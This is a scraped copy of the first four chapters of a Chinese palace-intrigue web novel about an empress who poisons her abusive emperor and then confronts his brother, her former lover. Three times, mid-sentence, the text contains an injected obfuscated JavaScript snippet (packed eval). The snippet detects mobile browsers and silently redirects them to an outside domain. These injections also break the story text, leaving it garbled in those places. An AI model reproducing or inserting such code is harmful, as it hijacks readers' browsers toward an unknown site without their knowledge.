《裙下乱臣》 1. 第 1 章 北地天空,云乱如海,寅正三刻,天地寂静无声。 皇宫甬道上唯有一处火光摇曳,小轿一顶,由四名太监抬着,随行掌灯宫女,五人皆步履匆匆,直奔皇帝所在的仙台殿。 仙台殿外甲兵齐备,已然围得水泄不通,皇帝随身内侍宫女皆被捆绑于殿外庭院,堵嘴蒙眼,瘫软在地,如待宰猪羊。 四名太监将轿子抬入宫廷,直奔宫阶,碎步而上,将轿子稳稳落在宫殿正门前。 掌灯宫女冰云俯身提醒:“皇后娘娘,仙台殿到了。” 轿子上的帘子静静垂着,像是百年皇城巍峨的宫墙,庄严肃穆。 女子清丽的声音从里面传出来,如午后的黄鹂,带着几分慵懒的倦怠,却是极好听的,悦耳到与轿子外这一片肃杀之景格格不入。 “赵长侍可在?” “在、在、老奴在。”应声的老太监跪在轿外,一边用衣袖擦汗,一边颤抖着回话:“皇后娘娘,您可算来了,皇上他…他……” “皇上病重垂危,本宫身为皇后,自然要来主持大局,冰云,扶本宫去看陛下。” 赵长侍膝行上前,恭谨地撩起轿前的垂帘,一只白皙柔荑从轿内探出来,指尖蔻丹鲜红欲滴,轿中女子搭着冰云的腕子,款款步下轿子。她一袭曳地凤袍,满头金玉珠翠,贵气逼人,额前的凤冠坠着宝石,像神女眉心的朱砂。 玉扶疏走出轿子,垂眼看地上的赵长侍:“殿内有谁?” 赵长侍如同刚从水里捞出来:“邹平,邹将军。” 玉扶疏才动脚步,又听赵长侍一声凄哀:“娘娘,奴才……” 玉扶疏垂眼带笑:“你有功,本宫不会亏待你。” 赵长侍得了免死金牌,强撑着的身体彻底软下来,他趴在地上看着玉扶疏的背影走入仙台殿,模糊的眼底只剩下她曳地凤袍上金丝银线闪出的微光。 皇帝所居的仙台殿,一地狼藉,早没了往日的气派。 邹平见到赶来的玉扶疏,如蒙大赦,快步上前,单膝跪地请安,继而道:“皇上不肯就死,砸了无数毒酒,臣不得已,将皇上捆绑,只待娘娘前来……” 邹平话未说完,被冰云一声呵斥:“大胆竖子!岂敢胡言乱语!” 邹平懵怔抬首,对上一双如黑玉般剔透又冰凉的眼睛,这双美目的主人,人如其名,仙姿玉貌,绝艳无匹。 玉扶疏轻飘飘开口:“陛下不想死也是常情,虽道凡人生老病死自有天命,可若像邹将军这般年岁,忽有无常来勾你的魂,索你的命,只怕你也是舍不得这阳间里的热闹。” 邹平回神,连忙垂首,双膝跪地,拱手道:“臣的命是皇后娘娘的父亲,相国大人给的,臣誓死为娘娘与相国大人尽忠。” 玉扶疏挑眉:“到殿外守着。”又侧首对冰云:“你也退下。” 仙台殿内再无闲人,玉扶疏举步朝寝殿走去,殿门大开,殿内灯火燎燎,原本一尘不染之地,早已是天翻地覆,地面上纵横着拖拽尸体的血痕,门槛上还挂着不知哪位宫人掉下的鞋子,肮脏纠缠着腐败的血腥气,闷臭得引人呕吐。 玉扶疏看到了龙榻上被五花大绑的谢池渊,大商的天子,她的夫君。 谢池渊披发如鬼,被捆绑得身体在床榻上扭曲挣扎,被堵住的嘴呜呜的哀嚎,双目赤红,目眦欲裂,他疯狂的想要挣脱求生,直到看见了玉扶疏。 谢池渊安静下来,恐惧的眼里透出绝望。 但当他的瞳孔里倒映出玉扶疏俯身行礼的身姿,谢池渊绝望的眼里透出些光。 玉扶疏规规矩矩的行礼,随即举步走向龙榻,她低身坐在榻上,闻到一股骚臭,垂眸便见谢池渊双.腿.间褐黄的污渍,玉扶疏挑眉,转而笑对谢池渊:“陛下,妾身来迟了。” 谢池渊闻声落泪,盯着玉扶疏,低呜不止。 玉扶疏抬手,拔出谢池渊嘴里的绢布,掷在地上。 谢池渊:“阿扶,你是来救朕的对不对?朕错了,朕知错了,你快去与你父亲求求情,朕知错了,朕再也不敢了,朕只是一时糊涂……” 玉扶疏抬手,白皙修长的指尖抵在谢池渊唇前:“嘘。”她望着他笑起来,娇颜如花,在这满是荒唐的血色里,她的笑容既妩媚又诡异:“陛下忘了?您是天子,天子永远是对的,陛下何错之有?” 谢池渊急慌慌道:“不,朕错了,朕有错。” 玉扶疏闻言蹙眉,忽而挥手狠狠抽在谢池渊脸上,她满头珠翠因而碰撞,发出琳琅脆响。 谢池渊紧咬牙关,泪流不止,他眼底划过恨,划过怨,可最终为了活命,他只能跪着祈求玉扶疏,祈求这个曾经被他打骂,被他虐待,一文不值的女人。 玉扶疏垂眸睥睨着跪在自己面前的谢池渊,火光映着她的瞳孔亮得出奇,有兴奋,有杀意,她背后的旧年伤疤在血液沸腾涌动下隐隐作痛。 这是她身上最深最痛的一道伤,险些要了她的命。酒醉的谢池渊手执利刃,在锁闭的宫室里追她,抓她,捕她。那时的她就要被他吓疯了,拼命的跑,拼命的拍门,拼命的挣扎。 可最终,她还是被他按倒在地上,那匕首从她的肩胛骨深深的插进去,是她离死亡最近的一次,亦或许,她那时便已经死了。 谢池渊朝玉扶疏磕头:“阿扶,救朕一命,朕保证日后好好待你,你打朕你骂朕,把你对朕的怨恨都发泄出来,往后我们重新开始,只要你救朕一命,朕立刻遣散后宫,废掉太子,朕与你生子,好不好?让我们的儿子做太子好不好?” 玉扶疏闻言止不住的笑,她一边笑一边端起备好的毒酒。 “陛下昨夜派伏兵刺杀我父亲,欲将玉氏一族铲除,可见陛下心里已容不下玉氏,妾身今日若救了陛下,日后再生此等祸端,妾身岂不命悬一线?被捆绑在宫殿里的人就该变成妾身了吧?” “陛下心里清楚,换位而处,我们都不会放过彼此。” 谢池渊盯着玉扶疏手里的毒酒,闻言彻底崩溃,咆哮咒骂:“玉扶疏,你弑君杀夫,死后会下十八层地狱!朕最恨…就是你这种蠢妇,却被玉忠节强塞给朕做皇后,你这个贱婢,毒妇,你不配,朕死也不会放过你。” 玉扶疏伸手掐住谢池渊的下巴,她黑玉般的眼睛紧盯着他,笑眼弯弯:“陛下安心,妾身很快就不是皇后了,妾身会做太后,辅佐陛下的太子,让大商基业永续。” 玉扶疏掐住谢池渊的下巴,撬开嘴,将毒酒灌下,洒落的毒酒浇在她血红的指甲上,冰凉刺骨,玉扶疏视线听觉都模糊了,她脑海里闪过无数的画面,都是嫁给谢池渊这六年来,她被虐待的血证,她苦苦等了六年,终于等到今日。 玉扶疏将一整壶毒酒悉数灌下,她摔破壶,看着倒在床上痛苦不堪的谢池渊,他如恶鬼般盯着她,咒骂着,最后又嘲笑她。 “玉扶疏,凭你这个贱婢竟也肖想做吕雉吗?小心最后落得丁原与董卓的下场!” “丁董死于义子之手,可我玉扶疏,是大商的皇后,太子的嫡母, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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玉忠节突然摔了茶盏:“住口!玉氏历六朝,受天子之恩,满门忠义,我玉忠节岂能做窃国篡位的贼人?” 玉扶疏凝神看着地上玉忠节摔碎的盏子,自归来她一直沉默不言,静看父兄二人各自的算盘。 玉忠节斥责完玉庭风,忽而态度一转,语气温和对玉扶疏道:“阿扶我儿,你今夜受累,让你年少守寡,父亲心也不忍,可是若不借你之手杀了谢池渊,我们一族日后难有宁日…” 玉扶疏听到这句,不由抬起眼眸:“父亲!慎言!” 玉忠节一愣。 玉扶疏笑了笑,又变得轻声软语,像个乖巧的女儿:“陛下是急病过世,父亲可不要忘了。” 玉忠节挤出笑容:“是,阿扶说的是。” 冰云领着邹平从殿外疾步入内。 邹平跪地:“启禀相国大人,坊间怪闻…说是摄政王领兵进都城了。” 玉庭风怀疑自己听错了:“你刚说什么?摄政王?哪来的摄政王?” 邹平:“就是从前的延陵王。” 此话一出,玉忠节和玉庭风先是一怔,随即不约而同转头,看向了独身高坐的玉扶疏。 玉扶疏闻言出神,一是惊觉谢池渊竟留了后手,二是诧异,这个要和她这位摄政太后争名头的摄政王,竟是多年前,她待字闺中时,被她始乱终弃的旧情人。 2. 第 2 章 “延陵王的兵马到哪了?” 邹平垂头:“正在游街,百姓听闻收复边关,喜不自胜,都涌上街头夹道相迎,朱雀大街上已经挤得水泄不通了。” 玉庭风‘啧’了一声,“成何体统,皇上驾崩岂容他们这般热闹!” 玉忠节扫了眼语气颇酸的儿子,淡淡叹道:“民心呐。” 玉扶疏没听见他们这些议论,她思绪飘远,提起谢洵舟,她能想起的都是很久远,像干枯古树的皮,一层又一层的揭下来,扒到树心里藏着的一点记忆。于如今的她而言,无疑似云端仙露,久远的好像上辈子的事。 玉扶疏是被玉忠节叫回神的。 “阿扶啊,今夜你以皇嫂的名义在宫里设宴款待谢洵舟,看看他究竟是何意思。” 玉扶疏端起茶盏,指尖摆弄着盖子:“这是为何?” 玉忠节顾虑有二。 皇帝死的突然,谢洵舟又恰逢这时进京,他手中几万精兵强将,一旦得知兄长死因,真拼了命要替兄长报仇,届时局面不好控制。 还有一件棘手旧事。六年前谢洵舟曾亲自登门向他提亲,被他回绝了,听闻谢洵舟至今未娶,难说不是因为当年的心结,如今谢洵舟可不再是从前有名无权的王爷,万一因此事记恨,趁势强伺机报复他们也说不准。 玉忠节将顾虑说出,玉扶疏立刻意识到对方的意图。 这是希望她出面示好谢洵舟,至少拖延一阵子,好给玉忠节留出空隙给‘弑君’这事擦屁股。 玉忠节见玉扶疏许久不回应,有意威胁:“阿扶我儿,你可别忘了陛下是怎么死的!趁谢洵舟才进城,还不了解情况,你去探一探他。为父也会把后事料理的干干净净,之后阿扶便可稳坐太后之位了。” 玉忠节盯着玉扶疏,笃定她会害怕,话落便见玉扶疏手里的茶盏洒了。 玉扶疏手忙脚乱放下茶盏:“好,好,就听父亲的,女儿马上让冰云去传信。” 送走了父兄,玉扶疏起身回寝殿,拭雪在旁侍奉更衣。 铜镜里倒映出玉扶疏如琬似花的容颜,此刻她双瞳里一片沉静,与方才在父兄面前,惊慌失措,打翻茶盏的小妇人判若两人。 拭雪娴熟的替玉扶疏卸下满头的金质玉器,见玉扶疏静默不言,贴心询问:“娘娘大仇得报,似乎不太高兴?” 玉扶疏透过镜子,对拭雪弯唇一笑:“筹谋太久,真的杀了他,也没什么滋味,不过,我不悦,是另有其人。”如玉扶疏所料,玉忠节果然开始用谢池渊的死因威胁她了。 拭雪思虑片刻:“是因为相国大人吗?萧妃和太子来得也不是时候,太子被国舅爷吓得不轻,母子俩哭哭啼啼,被一并押回宫去了。” 玉扶疏反问:“你觉得我父亲这般行事…不妥?” 拭雪忙道:“奴婢不敢,奴婢是想太子毕竟要继承大统,相国和国舅此举,恐会影响您与太子的关系,对您不利。” 玉扶疏摘下耳坠,闻言苦笑摇头:“我父亲,这是动了易储的心思了。” 谢池渊留下二子。 太子十岁,生母萧妃官宦出身,萧氏一族在文官集团里颇有名望。另一幼子刚三岁,生母姜氏是被皇帝看上才脱了奴籍的梨园歌姬。 两厢一比,玉忠节害怕养虎为患,想废长立幼,也不难猜。他欲效仿董卓,在新朝给群臣再立个下马威,算是一箭双雕。 拭雪惊叹:“可…可小皇子的生母,出身实在低贱。” 玉扶疏倒不在意这个,她在意的是,若玉忠节成功废掉太子,那她手里这份刚得来的遗诏,便不作数了。 玉扶疏不是傻子,玉忠节敢弑君,却不敢担罪名,所以让禁军首领邹平围了仙台殿,绑了谢池渊,却偏偏等她去喂他喝毒酒。这样就算日后东窗事发,玉忠节大可以来个大义灭亲,他自己继续青史留名。 退一万步,此事若真能抹个一干二净,她这位未来的太后娘娘,也有一个致命的把柄落在玉忠节手里,死了父亲来了儿子,但她玉扶疏还得继续做这个深宫里替玉氏卖命的傀儡。 这些,在玉扶疏筹谋杀死谢池渊时,就已经被她算在了无数种可能的结局里。 所以,当她收到玉忠节传信,让她往仙台殿弑君时,玉扶疏主动走入了这个父亲设给她的圈套。 谢池渊必死无疑,但他一定希望,他最喜欢的儿子能好好活着继承大统,玉扶疏主动将自己和太子捆绑在一起,让谢池渊下召将太子过继给她,太子登基之日,她便是不可动摇的摄政太后。 玉扶疏想起谢池渊死前愚蠢的发问:“为什么?为什么要和你的父亲作对?你不是一向最听他的吩咐吗?你究竟安得什么心思?” 玉扶疏看着谢池渊咽气,帮他阖上双眼:“当他诓骗我做最尊贵的皇后,却在你日夜打骂我时,对我的祈求视而不见,从那时起他便不再是我的父亲了。” 玉扶疏卸掉一身沉重的服饰,喝了盏安神茶,却久久不能入眠。她想起谢洵舟,这个年少她曾爱过,又狠心抛弃了的男人。 细细算来,她已经有五年的光景没有见过他了。 最后一次见他,是在嫁给谢池渊后的中秋宫宴上,她们碰巧在回廊相遇,其实也并非碰巧,是她眼见着他酒醉离席,故意追去。 玉扶疏依稀记得那晚,谢洵舟将她的手指一根根从衣袖上掰下来,她记不清他们都说了什么,可还记得那晚谢洵舟看她的眼神,烙在她的脑袋里,夜色冷暗,她不曾看清楚他眸中是否有泪,但他无比痛苦,极力的忍耐克制,他应该是很恨她的,拒绝了她的示好,从此再也不曾进宫。没过多久,边境大乱,他作为亲王替皇帝出征,一去至今。 天际迎来新日的一线白,天子病逝,群臣后妃哀悼。 皇城禁卫已被玉忠节稳稳控制住,哪怕皇帝死的蹊跷,但进宫祭奠的群臣,当下无一人敢出一字妄言,国库吃紧,丧仪一切从简,谢池渊没修好的皇陵也要在近日草草完工,他死的潦草,身后事也潦草。 玉扶疏不需要在这些事上操心,一身缟素到皇帝灵柩前走个过场后,便径直回宫了。 冰云传信归来,谢洵舟拒绝了她设宴的邀约。 玉扶疏对镜梳理云鬓:“接到帖子时,谢洵舟什么反应?” 冰云回忆着:“奴婢…看不太出,延陵王变了不少。” 玉扶疏:“他变得什么样子了?” 冰云:“模样倒是没怎么变,王爷风姿依旧,其余具体的奴婢说不上来,就是觉得和从前的延陵王不一样了,手下的将官也凶得吓人,不过,延陵王还认得奴婢。” 玉扶疏:“他还有没有说其他话?” 冰云摇头:“王爷当时还身着戎装,留下句话就走了。” 玉扶疏拿起香气馥郁的口脂,薄薄涂抹在唇瓣上:“更衣,去延陵王府。” 玉扶疏有意低调,只备了马车,带着拭雪前往王府,开门的是个行伍之人,圆脸虎目,不苟言笑,拭雪亮出身份,对方也并无惊讶。 江之杰拱手:“请皇后殿下见谅,我们王爷出府未归 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940547|177335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,您若有什么吩咐,臣下可以替您向王爷转达。” 玉扶疏挑了挑眉:“不妨,本宫在这等一等延陵王。” 江之杰颔首,规规矩矩将玉扶疏引到王府正堂,又吩咐小厮奉上茶点。 江之杰:“请皇后殿下稍待,臣下告退。” 一路走来,延陵王府还是旧时模样,只是空寂多年,墙瓦都陈旧了。府里奴仆没见到几个,行伍的兵卒倒多,来来往往,有的上房修瓦,有的清理着庭院杂草和瓦上的青苔,正院的池塘也干涸了,几个士兵绑住裤脚,踏进满是淤泥的池子里就要动手修葺。 他们有说有笑,结伴走在这座王府里,自在的倒像是回了家。不过遇到江之杰就立马变得肃慎起来,格外恭敬,看着他们整齐划一行礼的样子,一时间好像到了军营里。 看来谢洵舟带在身边这些亲兵,不仅关系紧密,还各个训练有素。 玉扶疏端起茶盏,轻抿了一口,不由蹙眉。这茶叶不知道放了多久,泛着一股霉味。她拿起点心闻了闻,倒是新做的,但不过就是盘最寻常的糕饼。 玉扶疏是在隅中巳时末到延陵王府,一直等到太阳落山,谢洵舟也没有归来,召来江之杰问询,每次都是一样的答案。 “王爷出府时并未交代何时回来,皇后殿下若是着急,不如留下话由臣下替您转达。” 偏这江之杰看着粗犷,说话办事却滴水不漏,举止神态让人挑不出错处来。 眼见着夜色渐浓,月上中天,拭雪劝道:“娘娘,您累了一日,不如先回宫吧?” 玉扶疏虽腰酸背痛,却依旧端坐,她闭目养神:“再等等。” 拭雪:“奴婢看这延陵王,多半是故意在躲着您,您一日未吃东西,奴婢怕您累坏身子。” 玉扶疏睁开眼睛:“把江之杰叫来。” 这一日下来,江之杰不知已经进进出出多少次。 玉扶疏看见江之杰,先声夺人,“你不会想告诉本宫,延陵王今日连家都不回了吧?” 江之杰拱手:“回禀娘娘,臣下正要来禀告,王爷有请。” 拭雪要说话,被玉扶疏拦住。 按照礼制,应该是亲王参见皇后,可当今人在屋檐下,不想低头也得低头。 玉扶疏被江之杰引向王府内宅,这条通幽小径她很熟悉,路的尽头就是朝晖阁,谢洵舟的住处。 朝晖阁下有一株上百年的梨树,此刻正是落花时节,闲庭梨花飘零如雨。 一道玄色身影,手执寒剑,身若蛟龙,穿梭于花雨中,剑光追月,刃过无风,唯有落花被剑气席卷,似垂柳浮水,在空中惊起阵阵涟漪。 玉扶疏独自步入庭院,月色照着谢洵舟的身影。 一袭劲装紧束,勾勒出他如松似岳的身姿,宽肩阔背收束于紧窄腰线之下,旋身挥剑时,腰腹劲力如潜蛟暗涌,虽隔衣料,犹自贲张,经年戎马,他气度渐锋,一招一式都透着逼人的杀伐之气。 玉扶疏站在梨树下,望着谢洵舟练剑的身影,瞧他脊背上浸透衣衫的汗水,便知他已在此练得有些时辰了,并非江之杰所说的刚刚回府。 玉扶疏思及,举步朝谢洵舟走去,她刚一动脚步,眼前闪过一道寒光,剑气扑面而来,风里带着花香,可那柄寒剑,擦过眼前,在耳畔嗡鸣振响,最终抵在她的脖颈上。 玉扶疏僵直在原地,长睫震颤,皮下血管在冷刃下突突直跳。 她的视线从模糊渐渐变得清晰,倏而五年光阴,她终于看清楚了眼前手执利刃的谢洵舟。 3. 第 3 章 谢洵舟第一次见到玉扶疏,是那年深秋在太阴山猎场。 彼时他刚从皇陵回京。他母亲是继后,可惜命薄,在他十二岁那年薨逝,父皇原本是疼爱他的,可到底更爱大哥谢池渊,大哥是元后所生的嫡长子,元后难产而亡,大哥由父皇亲手抚养,早早立了太子,大哥不聪慧,但父亲偏爱,四哥不服造反,结局落得满门抄斩。其余庶子不足为惧,只他是个嫡子,母亲故去,父皇封他做延陵王,安排他去守皇陵,守满三年,本以为可以归京,却不想父皇驾崩,大哥继位,让他继续留在皇陵,替父再守三年。 三年光阴,饶是他远离京城,也听到不少传言,皇兄昏庸无能,信任奸臣玉忠节,又荒淫无道,酒池肉林,在境内搜罗妙龄美人,千里迢迢运往京城。 他既恨皇兄愚蠢,玉氏门庭煊赫,又与各世族联姻通婚,树大根深,皇兄一味依仗纵容,必然养虎为患。也恨玉忠节为臣不忠不节,纵容皇兄耽于美色,恣意搜刮民脂民膏,荒淫奢靡无度。 可他到底只是个离京六年刚被召回,有名无权的王爷,皇兄不信他,防着他,他还比不上玉忠节与皇兄亲厚。 第一次与玉家人照面,是在太阴山秋狝。他没官职,皇兄也不希望他在朝臣眼前露脸,就打发他同一群世家的公子,贵女狩猎。 那是他第一次见到玉扶疏。 她坐在马背上,脸上不知哪里蹭的泥巴,鼻子嘴巴全都灰扑扑的,衣服鞋子更是脏的看不出颜色,衣摆不知道被什么东西刮出好几道参差不齐的口子,破破烂烂,一张花脸上只剩一双大眼睛扑闪扑闪的眨着,黑白分明,亮晶晶的。 她脚下是一头被射杀的公鹿。 在他对面站着一男一女,男子白面如玉,瞧着温文尔雅,这男子谢洵舟认识,是侯府世子李千帆。李千帆怀里搀扶着一个弱不禁风的女子,那女子红着眼睛,倚靠着他摇摇欲坠。 玉扶疏雄赳赳的坐在马背上与那二人对峙,“凭什么要我把马让给她?” 李千帆:“你妹妹扭伤了脚,走不了路,玉扶疏,你到底是做姐姐的人,怎能如此心狠?” 玉扶疏闻言弯弓搭箭,瞄准那女子,在对面二人惊骇的表情下,手指一松,却是射在了那头死鹿身上。 她不仅发不下狠,还笨拙的试图讨好那男子。 “千帆哥哥,你不是和封家哥哥打赌,要猎一头鹿吗?我猎到了,送给你。” 李千帆看了看玉扶疏脚下的鹿,脸色难看:“谁稀罕你猎的鹿?快把马让给扶音,她都要晕倒了。” 玉扶疏:“她装的。你信不信,我现在放马追她,她肯定能跑。” 玉扶音倒在李千帆怀里,虚弱开口:“千帆哥哥,别为难姐姐了,我可以走的。”她说着离开李千帆怀抱,下一瞬,身子一歪,晕倒在地。 李千帆见状,极怒攻心,直奔玉扶疏而去,把她从马背上拽了下来。玉扶疏不甘示弱,与他争夺缰绳,两人较着劲,拉来拽去,最终激了马,李千帆被甩了出去,又被鹿角绊了一下,一屁股摔在地上。 李千帆脸涨得通红,他气极,指着玉扶疏的手都在抖:“你这个跋扈的泼妇,我就是死,也不会娶你的!” 李千帆爬起来,背起地上的玉扶音,背着她向山下走。 玉扶疏么,猎到了鹿,保住了马,却在看到李千帆背着玉扶音头也不回的离开时,留在原地啪嗒啪嗒的掉眼泪。 谢洵舟在皇陵时就听闻,玉相国一子二女,长女玉扶疏是个名动京城的美人,早早与侯府世子李千帆定了婚约,可眼下,不仅这个满脸泥巴的女子与传闻中的秋水伊人大相径庭,就连那段青梅竹马的佳话,好像也大不一样。 谢洵舟牵着马从林间走出来,引起了玉扶疏的警觉。 玉扶疏抹了把脸,泪水把粘在脸上的泥巴弄得更花了。 “你是谁?” 谢洵舟挑眉:“一个闲人。” 玉扶疏上下打量谢洵舟,瞧他穿戴还算讲究,“你叫什么名字?” 谢洵舟牵着马走近,先把马拴在一旁的树干上,然后找了块石头坐下,“这是你猎的鹿?” 玉扶疏脚下的,是最难射猎的麋鹿,一来这鹿稀少,难以追踪,二来麋鹿不仅体型庞大,耐力强,速度快,而且就算中箭,也无法轻易将它放倒,它依然能带伤逃窜数里远,且公鹿的鹿角攻击性极强。射杀一头麋鹿不仅要考验箭法,追猎经验,还考验猎人的耐性与胆量,否则要么无功而返,要么反被攻击。 谢洵舟看了看地上的麋鹿,还是个成年的公鹿,也难怪玉扶疏会是现在这般狼狈样子。 玉扶疏不满的噤起鼻子:“我问你叫什么名字!” 谢洵舟仰头,日光洒在他的脸上,与李千帆温雅的书生气质不同,他的英俊带着几分摄人心魄的攻击性,剑眉星目,丰神俊朗,嘴角微扬,带着一丝若有若无的笑,让人捉摸不透。 “洵舟。” “洵舟?”玉扶疏念叨了两遍,似乎有了兴趣,走到谢洵舟身侧坐下:“千帆,洵舟,你和他的名字倒是很像,都是船,好像有句诗,叫‘洵舟侧畔千帆过’。” 谢洵舟侧眸看了眼身边的人,勾了勾唇,“是‘沉舟侧畔千帆过’。” 玉扶疏满不在意:“都一样了。” 谢洵舟:“你说的千帆,是刚刚那个人吧?” 她顿时朝他看来,漂亮的眸子像黑玉,紧盯着他,“你一直在偷看?” “碰巧路过,”谢洵舟想解释,但被这双眼睛盯着,只好承认,“不是故意偷看的。” 玉扶疏听了倒没生气,望着他别扭了一会,问道:“你呢?你觉得我那个妹妹,美么?” 谢洵舟回忆片刻,“五官清雅秀致,称得上美人。” 玉扶疏冷哼一声,撇开脸,闷了会,“那我和她,谁漂亮?” 谢洵舟低笑起来,他一笑,玉扶疏立时瞪了过来,谢洵舟起身摘下挂在马鞍上的皮囊壶,又从怀间掏出一方手帕,倒水浸湿,递给玉扶疏。 “总要擦干净脸上的土,我才能看清楚你和她谁漂亮。” 玉扶疏接过手帕擦脸,看到擦下来的泥污,嫌弃的蹙眉:“谁漂亮?” “没擦干净。” 玉扶疏把帕子翻过来,又擦了一遍,“这样呢?” 谢洵舟伸手指了指,“这里,还脏。” 玉扶疏听了一撇嘴,把脏帕子丢给他,“算了,没趣。” 谢洵舟用皮囊壶里的水洗干净手帕,递给玉扶疏。 玉扶疏头一撇,看也不看。 谢洵舟放下皮囊壶,手拿着帕子,“我帮你擦吧。” 玉扶疏听了,慢慢把脸转过来,朝着谢洵舟扬起下巴,闭上了眼睛。 倒是一点也不客气。 谢洵舟抬手执起玉扶疏沾满灰的下巴,一点点擦拭,渐渐地她一张小脸显露出了本来的颜色,她很白,晶莹的像雪,又细嫩,帕子稍微用力蹭一蹭,肌肤就粉红起来。她的五官跟着慢慢清晰起来,巴掌大的小脸,一弯浓淡得宜的娥眉,琼鼻英挺,在她这张过于娇艳的脸蛋上,增添了倔强清冷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940548|177335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢洵舟擦拭掉玉扶疏鼻尖上的灰渍,手帕向下,他的手悬停在半空,对着她的唇瓣迟迟没有动作。 玉扶疏忽而睁眼,美目流转,潋滟清波,一双秋水明眸如醉星辰。 四目骤然相对,谢洵舟心跳空了一拍。 玉扶疏疑惑:“怎么不擦了?” 谢洵舟抿唇,偏头看向远处,把帕子丢给她:“嘴巴,自己擦。” 玉扶疏直接用手背在嘴巴上用力抹了抹,唇瓣和周围都若丹霞般红起来,“这样呢?谁漂亮?” 谢洵舟眯起眼睛。 倏而六年光阴,眼前的玉扶疏容颜未改,一如初见,身姿袅娜,云髻峩峩,肤若凝脂,貌色夭秾。 只是她的眼神,再不似年少。 谢洵舟垂眸俯视着玉扶疏,她的长睫乱颤不止,屏着呼吸,一动也不敢动,她强装镇定,眼睛里的惊惧却漏了馅。 谢洵舟转腕收剑,剑光塞雪。 剑身上静静躺着一朵梨花,他抬手拂去。 谢洵舟勾唇,“臣,谢洵舟,见过玉后。” 玉扶疏的唇瓣在抖,身体后知后觉的颤栗,阵阵寒意涌上脊背。 见面之前,她设想了很多种谢洵舟的态度,但显然,她失策了。 从前谢洵舟看她的眼神总是盈着浅浅的笑,好似她的出现,总是能令他开心,但如今…… 也许边关的风太冷,把他对她的那些热,都经年累月的吹灭了。 玉扶疏迫使自己镇定,压抑着发抖的声音:“延陵王,别来无恙。” 谢洵舟似笑非笑,“听闻玉后在府上久等一日,难怪本王晌午进宫祭奠先帝时,未在灵前见到玉后,玉后究竟有何要紧事,不能与本王在先帝的灵柩前说?” 玉扶疏深吸一口气:“王爷得胜归来,风光无限,摄政王之名亦传遍京都大街小巷,上至宫廷下至市井,人人皆知,但敢问,王爷‘摄政’——真的是陛下的旨意吗?” 谢洵舟有些意外于玉扶疏的开门见山。 他自然知道,无论是设宴相邀,还是在王府久久等待,这背后都是受了她父亲玉忠节的旨意。 “玉后是觉得本王在假传圣旨?还是你父亲玉忠节在怀疑?” 玉扶疏垂眸:“父亲是否怀疑,本宫不知,可本宫私心,不愿王爷这般行事。王爷离京数载,对京城内的情况恐不清楚,我父亲近年权势愈胜,我虽是他的女儿,可我不想瞒你,你若假传圣旨,我父亲定然要以此事找你的麻烦,治你的罪,京畿军营里他亲信不少。” 她这一番话说的恳切,听起来处处都在为他考虑。 谢洵舟审视着对面的玉扶疏,眼中兴趣渐浓。 “本宫今日前来,只为提醒王爷。言尽于此,还望王爷仔细思量。” 玉扶疏说完,利落转身,向外走去。 “站住!” 谢洵舟冷冷开口。 玉扶疏脚步一顿,又听身后,谢洵舟冷喝一声。 “把人带上来。” 玉扶疏疑惑转头,看着背后几步之遥的谢洵舟,月色下他神情阴翳难辨。 两个士兵抬着担架从院门走进来,玉扶疏先看到担架上垂落下的一片衣角,心脏骤然间被一只大手擒住,士兵一步一步走近,直到玉扶疏眼前,担架上躺着奄奄一息的赵长侍,他双目外突,密布血丝,脖子上一圈深紫色的血痕,他盯着她,伸出鸡爪似的手,状似要抓她索命。 玉扶疏大脑空白,她听见背后,谢洵舟沉重的脚步声,一步步像铜锤,一下接一下夯在她心头。 4. 第 4 章 谢洵舟走到玉扶疏身边,目光斜睨,瞧她僵住的俏脸,朝侍卫抬手一挥。 侍卫抬着赵长侍退去。 月照庭院,两人的影子被月色拉长,静谧在空气中蔓延。 谢洵舟漫不经心地把玩着手里的剑:“玉后可还有话要说?” 玉扶疏早在见到赵长侍的刹那,脑中乱成一团,她没想到赵长侍还活着,更没想到他被谢洵舟找到。 谢洵舟什么都知道了,他会杀了她替谢池渊报仇么? 玉扶疏侧眸,瞥向谢洵舟手中的剑,剑身泛起的银光晃着她发酸的眼睛,视线一点点向上,玉扶疏对视上了谢洵舟疏冷的眼眸。 玉扶疏脸颊僵硬,“王爷这是何意?本宫不明白。” 谢洵舟闻声嗤笑,玩味看着玉扶疏:“玉后若是不懂,那本王现在就带着仵作前往仙台殿,当着群臣的面,开棺验尸。” 玉扶疏清楚,只要谢洵舟这样做,她必死无疑。 玉忠节不会保她,在他逼着她必须亲自动手时,她已经是玉氏一族的替死鬼。 玉扶疏沉默,眼眶一点点红起来,轻声问:“王爷当真不念旧情吗?” “旧情?”谢洵舟像是听见了笑话,喉间逸出几声极低沉的冷笑,“玉后与本王谈旧情?” 玉扶疏闻声,望见谢洵舟锐利的视线沉沉地锁缚着她,他的眉眼皆是无情。 往事卷土重来,玉扶疏形容惭愧,不由闭上双眼。 六年前,也是这样一个月上中天的夏夜。 